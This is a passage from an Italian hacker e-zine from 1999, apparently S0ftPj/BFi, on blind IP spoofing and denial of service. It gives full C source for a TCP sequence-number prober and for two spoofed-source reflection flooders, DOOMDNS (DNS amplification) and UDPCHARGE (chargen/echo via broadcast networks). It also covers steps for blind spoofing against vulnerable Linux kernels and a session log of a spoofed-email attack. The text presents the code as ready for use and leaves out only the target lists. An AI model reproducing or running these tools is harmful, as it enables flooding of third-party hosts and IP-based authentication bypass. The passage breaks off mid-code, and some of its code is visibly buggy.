ppk_p->proto=IPPROTO_TCP; ppk_p->len=htons(TCP_HEADER); memcpy(checkbuff+PSEUDO_HEADER, &syn.tcp, TCP_HEADER+PSEUDO_HEADER); syn.tcp.check=in_cksum((unsigned short*)checkbuff, PSEUDO_HEADER+TCP_HEADER); syn.ip.ihl=5; syn.ip.version=4; syn.ip.tos=0; syn.ip.tot_len=htons(IP_HEADER+TCP_HEADER); syn.ip.frag_off=0; syn.ip.ttl=64; syn.ip.protocol=IPPROTO_TCP; syn.ip.saddr=localip; syn.ip.daddr=remoteip; syn.ip.check=in_cksum((unsigned short*)&syn.ip, IP_HEADER); memset(&sin, 0, sizeof(sin)); sin.sin_family=AF_INET; sin.sin_port=port; sin.sin_addr.s_addr=remoteip; shoot=sendto(sp_fd, &syn, IP_HEADER+TCP_HEADER, 0, (struct sockaddr *)&sin, sizeof(sin)); if(shoot<0)printf("SP_ERROR\n"); } /* gcd functions from nmap by fyodor . sorry if not his own :) */ unsigned long euclid_gcd(unsigned long a, unsigned long b) { if (a < b) return euclid_gcd(b,a); if (!b) return a; return euclid_gcd(b, a % b); } unsigned long get_gcd_n_ulong(int numvalues, unsigned long *values) { int gcd; int i; if (numvalues == 0) return 1; gcd = values[0]; for(i=1; i < numvalues; i++) gcd = euclid_gcd(gcd, values[i]); return gcd; } /* sequence checks slightly modified from fyodor */ void check_incr(void) { int incr_i, i = 0; seqs_incr = (0.5)+ seqs_incr / MAXPROBES; seqs_sum = 0; for(i=0;i!=MAXPROBES-1;i++) seqs_sum += pow(DIFF(seqs_diff[i], seqs_incr),2); seqs_sum /= MAXPROBES; incr_i = (unsigned long)(0.5 + pow(seqs_sum, 0.5)); if(incr_i < 75) printf( "\nMicrosoft ISN Generation ! Who Do You Want To Spoof Today ?\n"); else printf("\nRandom Incremental Box. Good Luck !\n"); } void seqs_check(void) { int i=0; seqs_incr = 0; for(;i!=MAXPROBES-1;i++) { printf( "\033[1;34mSEQ%d [\033[1;32m%u\033[1;34m]\tSEQ %d [\033[1;32m%u", i,ntohl(seqs[i]),i+1,ntohl(seqs[i+1])); printf( "\033[1;34m]\tDIFF [\033[1;32m%lu\033[1;34m]\n", seqs_diff[i]); } seqs_gcd=get_gcd_n_ulong(MAXPROBES, seqs_diff); if(seqs_gcd) { for(i=0;i!=MAXPROBES;i++) seqs_diff[i] /= seqs_gcd; for(i=0;i!=MAXPROBES;i++) { if(seqs_diff[i] > 50000000) { printf( "\nTRULY RANDOM BOX. Back Off That One :O\n"); break; } seqs_incr += seqs_diff[i]; } } if(seqs_gcd == 0) printf( "\nISN CONSTANT ! Suit Yourself As You Like It :)\n"); else if(seqs_gcd % 64000 == 0) printf( "\n64K Golden Rule ! Have a Nice Spoofing Day ...\n"); else if(seqs_gcd % 800 == 0) printf( "\n800 Increments [64K like] !\n"); else check_incr(); printf("\n\033[1;34mSEQ Probing Done.\033[0m\n"); } int main(int argc, char **argv) { int opt, i=0; struct iphdr *ip; struct tcphdr *tcp; char packet[MTU]; if (geteuid() || getuid()) { printf("Devi essere root ...\n"); exit(0); } if (argc<7) { printf("\nUso: %s -h host -p porta -i interfaccia\n\n", argv[0]); exit(0); } while ((opt = getopt(argc, argv, "h:p:i:")) != EOF) { switch(opt) { case 'h': remoteip=nameResolve(optarg); break; case 'p': port=htons(atoi(optarg)); break; case 'i': IF_NAME=optarg; if(strstr(IF_NAME, "eth")) IF_LEN=14; else if(strstr(IF_NAME, "ppp")) IF_LEN=0; else { printf("solo eth|ppp.\n"); exit(0); } break; default: printf("Unknown Option.\n"); exit(0); break; } } raw(); iflink=tap(IF_NAME, 1); printf("\n\033[1;32mSEQ PROBE\033[0m"); printf("\n\033[1;34mISN Generation Prober by FuSyS\033[0m"); printf("\n\033[1;34m[S0ftPj | BFi]\033[0m\n\n"); printf("\033[1;34mLocal IP: \033[1;32m%s\033[0m\t", ntoa(localip)); printf("\033[1;34mRemote IP: \033[1;32m%s\033[0m\n\n", ntoa(remoteip)); ip = (struct iphdr *)(((char *)packet)+IF_LEN); tcp = (struct tcphdr *)(((char *)packet)+(sizeof(struct iphdr)+ IF_LEN)); memset(&packet, 0, sizeof(packet)); memset(&seqs, 0, sizeof(seqs)); memset(&seqs_diff, 0, sizeof(seqs_diff)); for(;i!=MAXPROBES;i++) { fire_syn(htons(INITSOURCE+i), htonl(INITSEQ+i)); while(recv(iflink, &packet, sizeof(packet), 0)) { if(ip->protocol == IPPROTO_TCP) { if(ip->saddr == remoteip && ip->daddr == localip) { if(tcp->source == port && tcp->dest==htons(INITSOURCE+i) && tcp->syn && tcp->ack) { seqs[i] = tcp->seq; if(i>0) seqs_diff[i-1] = DIFF(ntohl(seqs[i]), ntohl(seqs[i-1])); break; } } } } } seqs_check(); iflink=tap(IF_NAME, 0); exit(0); } ---------- snip ---------- Considerazioni: NON serve in questo caso mettere l'interfaccia in modalita' promiscua. Ma puo' essere molto utile, per specificare un indirizzo IP sorgente spoofato in modo da poter occultare la nostra scansione. Ovvio che dobbiamo trovarci sul route o sulla LAN o non vedremo i risultati della scansione... In questa versione non esiste timeout :) e sapete perche'? Perche' voglio che contemporaneamente guardiate in un'altra consolle l'output di tcpdump e comprendiate quindi da soli cos'e' che non va. Soprattutto anche il comportamento del kernel in risposta all'host remoto. Ricordate che pow() abbisogna della libreria matematica. Quindi linkate con -lm ------[ I G N O R A R E G L I I G N A R I ]------ Perche' impedire all'host che spoofiamo di inviare i suoi RST? Semplice. Se manda i suoi RST prima che noi abbiamo completato il 3way, l'attacco fallira' miseramente. Se lo stack del nostro bersaglio accoglie i RST senza vagliare i numeri di sequenza in gioco, fallira' anche nonostante sia stato completato il 3way. Certo, possiamo scegliere IP non assegnati ad alcuna macchina. Ma spesso lo SP00FiNG ci servira' per bypassare restrizioni ed autenticazioni basate su IP (argh! :O non basate mai la vostra sicurezza sul solo IP). In questo caso usare IP 'inesistenti' non ha senso, a meno che non sia sufficiente far parte di una certa classe di indirizzi. Il sistema piu' utilizzato e' sicuramente la tempesta/marea di SYN, o Syn Flood. DoS vecchio come il cucco, ha trovato pubblica notorieta', al solito, grazie a daemon9 ed al suo progetto Neptune. Come funziona questo attacco DoS? Ogni stack TCP/IP alloca della memoria necessaria a strutture che identificano la connessione in corso. Se non ci fosse un limite alle connessioni ed alle strutture allocabili, basterebbe iniziare qualche centinaia/migliaia di connessioni per esaurire tutta la memoria di lavoro del sistema e fargli mangiare la polvere. Fortunatamente esiste quello che viene chiamato backlog. Il backlog specifica quante connessioni non completate o non ancora prelevate con accept() possano rimanere in sospeso, allocando memoria. Ogni connessione che trovi il backlog 'occupato' verra' silenziosamente scartata dal kernel. Quindi se noi affoghiamo di richieste di connessione una porta TCP di un sistema otterremo di riempire il backlog, bloccando con richieste pendenti ogni altro segmento TCP. Inoltre il sistema rispondera' con una sequela continua di SEQ/ACK ignorando ogni successiva richiesta a quella porta, che sara' cosi' 'silente'. Come ho gia' detto questo non e' il solo modo. Ha pero' la fortuna di essere quasi sempre occulto. Sono infatti pochi i sistemi che logghino ogni tipo di scansione semi aperta come quella mediante sole SYN. D'altra parte c'e' da dire che molti OS cominciano ad essere protetti da questo tipo di DoS, proprio per gli effetti dannosi che il tool di daemon9 ha apportato a causa dei vari script kid. Ad esempio linux implementa il concetto dei SYN cookies per ripararsi dal DoS, fornendo un protocollo criptografico di autenticazione per gli utenti legittimi, permettendo loro di connettersi anche a backlog saturo. Ovviamente, l'host che spoofiamo puo' anche essere down, offline o spento. Come e quando, puo' ogni tanto essere 'implementato'. A mio modo di vedere, e' meglio aspettare che un host sia down, piuttosto che entrare in una silenziosa guerra a colpi di DoS per intasare le code del sistema spoofato. Oppure, meglio ancora, usare IP inesistenti :) ------[ L I N U X B L I N D S P 0 0 F i N G ]------ Ho detto che linux si inserisce negli host praticamente impossibili da attaccare mediante queste tecniche. Ebbene, non e' del tutto vero. Esiste una buona parte di macchine linux che sono decisamente vulnerabili allo SP00FiNG cieco. Precisamente TUTTE le box linux con kernel inferiore al 2.0.36 !!! Questo e' forse l'esempio piu' lampante di falsa sicurezza. Da quando linux e' dotato di un generatore random di ISN, ogni sysadmin sulla terra si e' probabilmente sentito al sicuro dallo spoof. Ebbene esiste un modo, scoperto il 5 ottobre 1998, che permette di bypassare totalmente il controllo operato dal kernel sull'ACK del client. Questo baco e' stato corretto a partire dal kernel 2.0.36, ma siccome e' stato reso pubblico solo di recente, non sembrano esserci state ondate pubbliche di attacchi. Non sono usciti codici pubblici per avvantaggiarsi di questa situazione. Di certo, pero', esistono ancora MOLTE macchine linux con kernel <=2.0.35 in giro per InterNet. Questo vuol dire che abbiamo una ulteriore possibilita' di attaccare macchine che probabilmente sono considerate molto sicure da questo punto di vista. Questo baco in realta' permette NON di spoofare realmente una connessione TCP portando a termine l'handshake 3way prevedendo il SEQ del server, bensi' passando dati alla applicazione PRIMA che sia stato completato il 3way stesso, e quindi senza che si debba controllare l'ACK del client. Questo baco e' il risultato di tre problemi fondamentali. Per prima cosa il kernel esegue un controllo sul numero di accetazione del client solo se il pacchetto dispone della flag ACK. Secondo, il kernel inserisce i dati ricevuti in una coda, prima del completamento del 3way, ma cmq dopo che il SYN del client sia stato accettato dal server. Infine copia i dati dalla coda all'applicazione se riceve un pacchetto contenente flag FIN anche se la connessione non e' mai stata stabilita e non si e' mai avuto passaggio di stato a ESTABLISHED. In questo modo, quello che va fatto e': - inviare un pacchetto con flag SYN per iniziare la connessione e far passare il socket remoto in SYN_RCVD - inviare i dati in un pacchetto senza flag ACK [cosa normalmente non possibile in stack corretti che non accettano dati senza ACK, tranne che nel SYN iniziale] - concludere mediante invio di pacchetto con flag FIN che portera' lo stato su CLOSE_WAIT e copiando i dati all'applicazione. (...) E' giunto il momento di tentare qualcosa di pratico, giusto per testare un attimo questa nuova conoscenza. Mi spiace ma non ho intenzione di rilasciare come pubblico un tool robusto di SP00FiNG cieco capace di attaccare ogni tipo di server TCP mediante inserimento interattivo di comandi. Quello lo lascero' per me :) Vi propongo invece qualcosa di simpatico e, comunque, decisamente di black magic rispetto alla maggior parte dei tool circolanti :) con lo stesso obiettivo. Un codice per inviare email fake. Badate bene, questo consente davvero di occultarsi, potendo spoofare l'IP. Infatti nei vari header Received: tipici di ogni transazione SMTP potremmo far apparire un innocuo nowhere.net [1.1.1.1] :) o magari usare IP non assegnati nel dominio della walt-disney associandoli a sexy-mickey.disney.com :P oppure usando reali IP; in questo caso pero' dovrete far fronte voi al problema dei RST remoti dal vero IP. ------[ L A F A K E M A I L D E F I N I T I V A ]------ Il codice che ho preparato lavora contro tre tipi di server. Quelli che operano ancora con la regola dei 64k, quelli basati su incremento Microsoft ed infine i linux vulnerabili <=2.0.35. Ecco un tipico esempio di sessione: SMAIL iP SP00FiNG Mailer by FuSyS [S0ftPj | BFi] Local IP: 212.XXX.XX.XXX Remote IP: 193.XXX.XX.XX Probing host for ISN generation ... Target is 64k ruled ! SYN Packet Fired ... Last ISN is 1488448000 . Guessed ACK is 1488512001 ACKs Fired. Connection Hopefully Established. Firing Packet !!! Done. RSTing the connection ... E nell'header della email che ho ricevuto appariva :PPPP : Received: from nowhere.net ([1.20.3.40]) by xxxxx.xxxx.xxx via SMTP Ora provate voi a fare un bel traceroute su quell' IP :) chissa' che succedera' ?! :) Davvero un nowhere.net ... In questa versione viene ancora utilizzato un data file che contiene il testo della transazione SMTP da spoofare. Ma rilascero' una versione che permetta l'uso come se si trattasse di mail(1) =:) Questo codice verra' mostrato, insieme a xTHOT, ad HackIt99 da qualcuno di S0ftPj, se non da me stesso. In realta' sono ormai pronti, ma non ho avuto sufficiente tempo di debug a causa di svariati impegni extra-hack :) D'altra parte avete la possibilita' di tentare qualcosa da farmi vedere. Tutto sommato e' presente ogni cosa vi serva negli altri miei codici e scritti relativi a TCP/IP. Si tratta solo di fare un collage di idee ed implementazioni. Cosa vi serve? - un socket di tipo RAW. - un resolver [non indispensabile, ma comodo]. - una routine di basso livello per creare pacchetti TCP. Questa puo' essere codata mediante le facili strutture di ~include/netinet oppure mediante buffer da riempire con un puntatore, byte dopo byte, come nel mio forger Orodruin. - una routine per leggere direttamente dal livello datalink mediante SOCK_PACKET, che seppur deprecato nei log del kernel :) e' comunque ancora usato anche nella libpcap. - un meccanismo veloce come SEQPROBE per rilevare i numeri di sequenza. - indovinare il prossimo numero e sparare i dati con l'ACK apposito [non con i linux <=2.0.35] Come indovinare il numero di sequenza corretto? Beh, per la regola dei 64000 non ci resta che sommare 64k al SEQ che abbiamo ottenuto dalla sonda, eventualmente, nel caso di server occupati, possiamo decidere di inviare un numero maggiore di pacchetti considerando anche eventuali rallentamenti lungo il route o magari altre connessioni da parte di altri host. Nel caso di sistemi incrementali Microsoft, potete facilmente vedere come questo numero aumenti di poche unita' ogni tot secondi. Questo e' abbastanza facile da spoofare quindi. Bastera' inviare una serie di pacchetti che contenga incrementi del nostro ACK sufficienti a coprire l'arco di tempo incrementale usato dal server, qualunque esso sia. Per linux vulnerabili NON dobbiamo neanche preoccuparcene. Basta agire nel modo suddetto in precedenza, giocando quindi con le transizioni di stato TCP mediante le flag SYN e FIN. Quello che spesso disorienta la maggior parte delle persone, anche alcune tra i cosiddetti esperti di sicurezza, e' la natura full duplex delle connessioni TCP. Quello che ci interessa e' solo indovinare l'ACK giusto. Questo portera' lo stato su ESTABLISHED. A questo punto non ci interessa assolutamente inviare ACK relativi ai dati trasmessi dal server. Non pensateci neanche. Semplicemente inviate i vostri dati. Cosa succedera' a questo punto? Lo stack remoto passera' i nostri dati all'applicazione ed inviera' le risposte del caso. Risposte che noi non saremo in grado di vedere e riconoscere quindi. Anche se fossimo in grado di prevederle eventuali nostre risposte errate darebbero il via ad una serie di flussi di ACK che renderebbero il nostro attacco individuabile. In mancanza dei nostri ACK lo stack remoto pensera' semplicemente che i suoi pacchetti siano andati perduti e ritrasmettera' fino al timeout. Intanto i nostri comandi saranno gia' stati processati a livello utente. Quindi la cosa importante e' giungere al corretto ACK. Nel caso di pacchetti multipli, e' importante non iniziare subito con valori che riteniamo prossimi a quello giusto. Se infatti il server remoto ricevesse un nostro ACK maggiore di quello atteso, risponderebbe con un RST. E' quindi decisamente meglio partire da valori inferiori andando a salire. Questo NON provoca invio di RST, almeno fino a quando non si supera il valore atteso. Esistono alcuni sistemi operativi che inviano comunque RST, ma sono una eccezione. Interessante e' notare che questi pacchetti con flag RST non influenzino minimamente il nostro attacco. Come mai? Secondo l'RFC793 esistono delle regole ben precise per discriminare connessioni legali, aborti, generazioni di numeri di sequenza e riscontro di anomalie nella trasmissione. In particolare viene evidenziato che: - segmenti contenenti la flag RST debbano essere inviati, fra l'altro, in situazioni desincronizzate come SYN_SENT e SYN_RECV nel caso il segmento in ingresso riconosca mediante un ACK dati non ancora inviati [ovvero se sia un ACK inaccettabile]. - in situazioni non espressamente esaminate come la suddetta non deve essere inviato un segmento RST bensi' devono essere usati algoritmi precisi di tipo diagnostico, che facciano uso di timeout e ritrasmissione per valutare la anomalia. - un ACK accettabile e' compreso nella seguente disuguaglianza: SND.UNA < SEG.ACK =< SND.NXT dove SEG.ACK e' il numero di sequenza atteso nel segmento in arrivo, SND.UNA e' il piu' vecchio SEQ riconosciuto da un ACK e SND.NXT e' il prossimo numero di sequenza da inviare. Si capisce quindi come prevedendo un numero maggiore di quello attesso dall'host remoto, non faremmo altro che provocare l'invio di un RST. utilizzando invece un ACK minore non effettueremo la transizione ad ESTABLISHED, ma d'altra parte non avremo RST vaganti che possano insospettire eventuali logger dell'host remoto o dell'host spoofato. Comunque questi RST poco interessano l'efficacia del nostro attacco. Servono solo a TCP per impedire connessioni che siano ritenute vecchie, concluse o abortite. In pratica per impedire duplicati di connessioni preesistenti. Ma non appena l'host ricevera' il nostro ACK corretto passera' lo stato in ESTABLISHED e potremo inviare dati all'applicazione senza problemi, per poi chiudere la connessione mediante half-close con FIN o aborto con RST. Questo e' lo scheletro teorico dell'attacco. Il tool disponibile a breve ad HackIt99 e sul nostro sito all'URL: http://www.s0ftpj.org implementera' questo tipo di tecniche. ------[ C O N C L U S I O N E ]------ Con questo il progetto 0N0S3NDAi e' concluso. Sinceramente al momento non esistono in italiano guide di questo spessore sull'iP SP00FiNG. Come vi avevo detto, non c'e' comunque tutto. D'altronde i concetti esposti sono validi per ogni tipo di attacco od implementazione che tiri in ballo lo spoof degli indirizzi IP. Questa guida sara' disponibile sul sito di S0ftPj in un blocco unico, comprendente entrambi i capitoli, i tool ed eventualmente anche nuovi codici, soluzioni ed idee. [DOCUMENTAZIONE IN INGLESE]---------------------------------------------- | | | Libri: W.R.Stevens TCP/IP Illustrated Vol.1,2 | | W.R.Stevens UNIX Network Programming 2ed Vol.1 | | | | RFC: 768, 791, 792, 793, 1071, 1282, 1323, 1379, | | 1600, 1644, 1948 | | | | txts: IP-spoofing Demystified da PHRACK48 | | | ------------------------------------------------------------------------- OLAs :) to: smaster, \sPIRIT\, |scacco|, bELFaghor, pIGpEN, [B]Berry Tw0lf, xmulder, Nell0z, CavaLLo dC, DreadN e tutti i componenti di S0ftPj e dell'Orda delle BadLands FuSyS ----------------------[ D0S VARi: iDEE A F0ND0 PERDUT0 ]--------------------- -----------------------------[ |scacco| & FuSyS ]----------------------------- NO(C)1999 |scacco|, FuSyS ############################################################################### PREREQUISITO: capitemi :) ..... secondo me DoSsare e' quanto di piu' banale ci possa essere e talvolta il rischio di essere giudicati come lameroni e' ovvio e meritato :P .... d'altra parte pero' questo tipo di approccio puo' servire ai pochi per cominciare ad affinare uno stato mentale: capire ed ideare. Probabilmente la maggior parte delle idee saranno gran belle ca!!ate [magari proprio come queste che vedrete ], ma senza idee si rimane solo script kids ############################################################################### --- D00MDNS & UDPCHARGE : iL C0DiCE --- Ci sono due tipi di DoS: quelli che rompono, ed altri che rompono... i coglioni alla gente :) .... stiamo parlando di nukes e flooders, rispettivamente. I nukers sono micidiali codicilli in grado di scardinare le scarse e deboli paratie presenti all'interno di ogni kernel o stack esistente. I flooders invece non sono altro che vampiri della preziosa banda che tanto anelate. In questo mini articolo vedremo essenzialmente due flooders che si basano sulla stessa tipologia [per i nukers dovrete aspettare che \sPIRIT\, |scacco| ed io troviamo un po' di tempo libero insieme :P] La tipologia e' quella classica basata sullo spoof dell'IP del poveraccio in una serie di query a servizi piu' o meno pesanti, ma che cmq offrano all'attaccante la possibilita' di aumentare l'effetto banda a scapito del destinatario. Vediamo prima i due codici per poi osservarne il funzionamento. ---------- snip ---------- /****************************************************************** * * * DOOMDNS Yet another flooder with 1:x pkts ratio. This one * * exploits DNS simple QUERY with spoofed UDPs. * * Since almost every DNS is bound to answer queries * * from the void, and since UDP doesn't provide a * * fruitful authentication process cause plain TCP * * does, uh !? ;) here we are. * * * * Why use DNS QUERY? Simple. We just want to make * * sure we've got a real advantage against our nice * * target so we look for a good I/O ratio. With just * * a few bytes (20-30) we can achieve responses of * * around 400-500 bytes. So we usually achieve a 20x * * ratio. Furthemore, every DNS reply will eligit * * ICMP unreach packets from the target since no UDP * * port will be open to accept data. A modem user * * confronted with large RR of type * (0xFF) will be * * flooded. * * * * hints by |scacco|, code by FuSyS * * http://www.s0ftpj.org * * * ******************************************************************/ #include #include #include #include #include #include #include #include #include #include #include #include #include #define IP_HEAD_BASE 20 #define UDP_HEAD_BASE 8 unsigned long saddr; int sfd, loop; char *dns_def[]={/* LISTA ASSENTE */ ,NULL}; char *domains[]={/* LISTA ASSENTE */ ,NULL}; struct DNS_MSG { HEADER head; char query[255]; }; struct dns_pkt { struct iphdr ip; struct udphdr udp; char data[1000]; }; unsigned long nameResolve(char *hostname) { struct in_addr addr; struct hostent *hostEnt; if((addr.s_addr=inet_addr(hostname)) == -1) { if(!(hostEnt=gethostbyname(hostname))) { fprintf(stderr,"N0 SUCH H0ST:`%s`\n",hostname); exit(0); } bcopy(hostEnt->h_addr,(char *)&addr.s_addr,hostEnt->h_length); } return addr.s_addr; } void forge (unsigned long daddr, unsigned short src, unsigned short dst) { struct sockaddr_in sin; struct dns_pkt dpk; struct DNS_MSG killer; int shoot, len; memset(&killer, 0, sizeof(killer)); killer.head.id=getpid(); killer.head.rd=1; killer.head.aa=0; killer.head.opcode=QUERY; killer.head.qr=0; killer.head.qdcount=htons(1); killer.head.ancount=htons(0); killer.head.nscount=htons(0); killer.head.arcount=htons(0); strcat(killer.query, domains[--loop]); killer.query[strlen(domains[loop])+2]=0x00FF; killer.query[strlen(domains[loop])+4]=0x0001; memset(&dpk, 0, sizeof(dpk)); dpk.udp.source=src; dpk.udp.dest=dst; len=(12+strlen(killer.query)+5); dpk.udp.len=htons(UDP_HEAD_BASE+len); memcpy(dpk.data, (void*)&killer, len); dpk.ip.ihl=5; dpk.ip.version=4; dpk.ip.tos=0; dpk.ip.tot_len=htons(IP_HEAD_BASE+UDP_HEAD_BASE+len); dpk.ip.frag_off=0; dpk.ip.ttl=64; dpk.ip.protocol=IPPROTO_UDP; dpk.ip.saddr=saddr; dpk.ip.daddr=daddr; memset(&sin, 0, sizeof(sin)); sin.sin_family=AF_INET; sin.sin_port=dst; sin.sin_addr.s_addr=daddr; shoot=sendto(sfd, &dpk,IP_HEAD_BASE+UDP_HEAD_BASE+len, 0, (struct sockaddr *)&sin, sizeof(sin)); if(shoot<0)fprintf(stderr, "SPOOF ERROR"); loop++; } void doomzone (void) { unsigned long daddr; unsigned short source, dest; if(dns_def[loop]==NULL) loop=0; daddr=nameResolve(dns_def[loop++]); source=htons(1024+(rand()%2000)); dest=htons(53); forge(daddr, source, dest); } int main (int argc, char **argv) { int sfdo; unsigned int hz=100; if(argc<2) { fprintf(stderr, "Interesting .... let's flood ourselves ?!\n"); fprintf(stderr, "Use: %s target [n]\n", argv[0]); exit(0); } if(argv[2]) hz=atoi(argv[2]); saddr=nameResolve(argv[1]); srand(time(NULL)); if((sfd=socket(AF_INET, SOCK_RAW, IPPROTO_RAW))<0) { fprintf(stderr, "\nSOCK_RAW Died\n"); exit(2); } sfdo=1; if(setsockopt(sfd, IPPROTO_IP, IP_HDRINCL, &sfdo, sizeof(sfdo))<0) { fprintf(stderr, "\nIP_HDRINCL Died\n"); exit(3); } printf("\n\033[1;32mD00M DNS\033[0m"); printf("\n\033[1;34mDNS Flooder by FuSyS\033[0m"); printf("\n\033[1;34minithints by |scacco|\033[0m\n\n"); loop=0; while(hz--) { doomzone(); printf("\033[1;34m.\033[0m"); } printf("\n\n"); return(0); } ---------- snip ---------- ---------- snip ---------- /****************************************************************** * * * UDP CHARGE Yet another flooder. This one exploits open UDP * * inetd ports (7/19). By spoofing the target IP and * * using open broadcast (DUP) networks, we are able * * to charge hard packets against the poorest :). * * * * hints by |scacco|, code by FuSyS * * [ S0ftPj | BFi ] * * http://www.s0ftpj.org * * * ******************************************************************/ #include #include #include #include #include #include #include #include #include #include #include #include #include #define IP_HEAD_BASE 20 #define UDP_HEAD_BASE 8 unsigned long saddr; int sfd, loop; char *chargers[]={/* LISTA ASSENTE */ ,NULL}; char *newls="\n"; char killer[5000]; struct udp_pkt { struct iphdr ip; struct udphdr udp; char newline[10000]; }; unsigned long nameResolve(char *hostname) { struct in_addr addr; struct hostent *hostEnt; if((addr.s_addr=inet_addr(hostname)) == -1) { if(!(hostEnt=gethostbyname(hostname))) { fprintf(stderr,"N0 SUCH H0ST:`%s`\n",hostname); exit(0); } bcopy(hostEnt->h_addr,(char *)&addr.s_addr,hostEnt->h_length); } return addr.s_addr; } void forge (unsigned long daddr, unsigned short src, unsigned short dst) { struct sockaddr_in sin; struct udp_pkt egg; int shoot, len, i; memset(&egg, 0, sizeof(egg)); memcpy(egg.newline, newls, strlen(newls)); len=(UDP_HEAD_BASE+strlen(egg.newline)); egg.udp.source=src; egg.udp.dest=dst; egg.udp.len=htons(len); egg.ip.ihl=5; egg.ip.version=4; egg.ip.tos=0; egg.ip.tot_len=htons(IP_HEAD_BASE+len); egg.ip.frag_off=0; egg.ip.ttl=64; egg.ip.protocol=IPPROTO_UDP; egg.ip.saddr=saddr; egg.ip.daddr=daddr; memset(&sin, 0, sizeof(sin)); sin.sin_family=AF_INET; sin.sin_port=dst; sin.sin_addr.s_addr=daddr; shoot=sendto(sfd, &egg,IP_HEAD_BASE+len, 0, (struct sockaddr *)&sin, sizeof(sin)); if(shoot<0)fprintf(stderr, "SPOOF ERROR"); egg.udp.dest=htons(7); for(i=0;i>10000;i++) memcpy(&egg.newline[i], "A", 1); egg.udp.len=htons(UDP_HEAD_BASE+10000); egg.ip.tot_len=htons(IP_HEAD_BASE+UDP_HEAD_BASE+10000); sin.sin_port=htons(7); shoot=sendto(sfd, &egg,IP_HEAD_BASE+len, 0, (struct sockaddr *)&sin, sizeof(sin)); if(shoot<0)fprintf(stderr, "SPOOF ERROR"); } void udpcharge (void) { unsigned long daddr; unsigned short source, dest; if(chargers[loop]==NULL) loop=0; daddr=nameResolve(chargers[loop++]); source=htons(1024+(rand()%2000)); dest=htons(19); forge(daddr, source, dest); } int main (int argc, char **argv) { int sfdo; unsigned int hz=100; if(argc<2) { fprintf(stderr, "Interesting .... let's flood ourselves ?!\n"); fprintf(stderr, "Use: %s target [n]\n", argv[0]); exit(0); } if(argv[2]) hz=atoi(argv[2]); saddr=nameResolve(argv[1]); srand(time(NULL)); if((sfd=socket(AF_INET, SOCK_RAW, IPPROTO_RAW))<0) { fprintf(stderr, "\nSOCK_RAW Died\n"); exit(2); } sfdo=1; if(setsockopt(sfd, IPPROTO_IP, IP_HDRINCL, &sfdo, sizeof(sfdo))<0) { fprintf(stderr, "\nIP_HDRINCL Died\n"); exit(3); } printf("\n\033[1;32mUDP CHARGE\033[0m"); printf("\n\033[1;34mUDP Flooder by FuSyS\033[0m"); printf("\n\033[1;34mbased on fraggle\033[0m\n\n"); loop=0; while(hz--) { udpcharge(); printf("\033[1;34m.\033[0m"); } printf("\n\n"); return(0); } ---------- snip ---------- DoomDNS fa una cosa molto semplice: invia una query di tipo ANY ad un server DNS da parte di un IP. A questo punto cosa succede? Semplice. Inviamo una semplice e banale richiesta con una ventina di byte, per ottenerne una di 350-600 byte a seconda del server. Per poter operare la richiesta abbiamo bisogno di una nuova serie di header come per poter poi specificare una struttura di tipo DNS_MSG che contiene l'header "interessante" per i nostri scopi: struct DNS_MSG { HEADER head; char query[255]; }; In forge() modifichiamo l'header in modo che contenga una sola richiesta al server del tipo desiderato, dopodiche' la copiamo con memcpy() all'interno del solito e ormai [spero, con tutto quello che scrivo ;)] banale spoof UDP. Nota tecnica: per le query verso il DNS non basta l'IP numerico del server, ma anche il nome del dominio da gestire con la query. Questo non viene inserito come semplice stringa, ma encodato in un modo comprensibile dai nameserver. Per poter capire come utilizzare il codice e come riempire l'array di puntatori a carattere domains[] consultate l'ottimo :PPP RFC1035. Porte sorgenti casuali e destinazione sulla 53 dei server completano il quadro. Perche' casuali? Due motivi: creeranno una tempesta di ICMP_UNREACH per porte UDP NON aperte sul bersaglio e potrebbero anche colpire porte aperte, cosi' interferendo con la normale operazione di quei servizi. UdpCharge invece sfrutta porte aperte da inetd, come la 7 e la 19 per poterle colpire con richieste. Se a questo aggiungiamo la possibilita' di utilizzare LAN broadcast (come quelle usate da SMURF) si puo' capire come questo diventi una vera e propria gragnuola di colpi piu' o meno pesanti per il bersaglio, ma facilmente gestibili per un attaccante con la dovuta banda. In nessuno dei due codici acclusi e' presente la lista di server da utilizzare ne' tantomeno la lista delle LAN broadcast per rimbalzare. Sono sicuro che vi divertirete un mondo cercandole :) -- D00MDNS : C0ME FUNZi0NA --- FuSyS lo fa ed io ve lo spiego! Dopo aver accennato a FuSyS sul problema udp dei DNS il D.O.S e'stato preparato. Come funziona DOOMDNS? Semplice, iniziamo ad analizzare le singole funzioni: unsigned long nameResolve(char *hostname) { struct in_addr addr; struct hostent *hostEnt; if((addr.s_addr=inet_addr(hostname)) == -1) { if(!hostEnt=gethostbyname(hostname))) { fprintf(stderr,"NO SUCH HOST: %s\n),hostname); exit(0); } bcopy(hostEnt->h_addr,(char *)&addr.s_addr,hostEnt->h_lenght); } return addr.s_addr; } Questa funzione ha il compito di risolvere l'hostname del target, bovinamente deve convertire il nome di un host nel suo ip. Infatti accetta come parametro una variabile carattere che vedremo in seguito essere prorio argv[1] cioe' il parametro che passiamo al programma. All'inizio della routine vengono create 2 strutture e precisamente struct in_addr addr e struct hostent *hostEnt, nella struttura addr verra' memorizzato il nome risolto mentre la struttura hostEnt ha il compito di lavorare fisicamente sul nome del target. if((addr.s_addr=inet_addr(hostname)) == -1) questo if cerca di memorizzare all'interno di addr.s_addr indirizzo ip dell'host, se questo e' gia' sottoforma di 4 ottetti il risultato viene restituito immediatamente, altrimenti e' necessario risolvero e questa necessita' e' data dalla restituzione di -1. if(!hostEnt=gethostbyname(hostname))) questa sintassi compressa cerca di risolvere l'hostname, ma se la risoluzione fallisce visualizza tramite fprintf il messaggio di errore (notate la finesse dell'fprintf, io da programmatore bovino mi sarei limitato ad un classicissimo printf). Se la risoluzione avviene in modo corretto dobbiamo trasferire il risultato contenuto in hostEnt all'interno della struttura addr, cio' avviene tramite l'istruzione bcopy(hostEnt->h_addr,(char *)&addr.s_addr,hostEnt->h_lenght) : questa sembra una istruzioncina semplice, ma in realta' contiene alcuni aspetti molto interessanti. La sintassi va letta da sinistra verso destra, praticamente il valore della variabile hostEnt->h_addr viene passato tramite un casting (conversione di tipo) alla locazione di memoria puntata da addr.s_addr, controllando che il trasferimento di dati sia limitato alla vera lunghezza dell'hostname risolto tramite la variabile hostEnt->h_lenght. Questa e' un'altra finesse del nostro amico FuSyS per controllare il buffer (mai sentito parlare di buffer overflow o stack smashing?). A questo punto la variabile add.s_addr puo' essere restituita. unsigned short ip_fast_csum(unsigned char *iph, unsigned long ihl) unisgned long sum; __asm__ 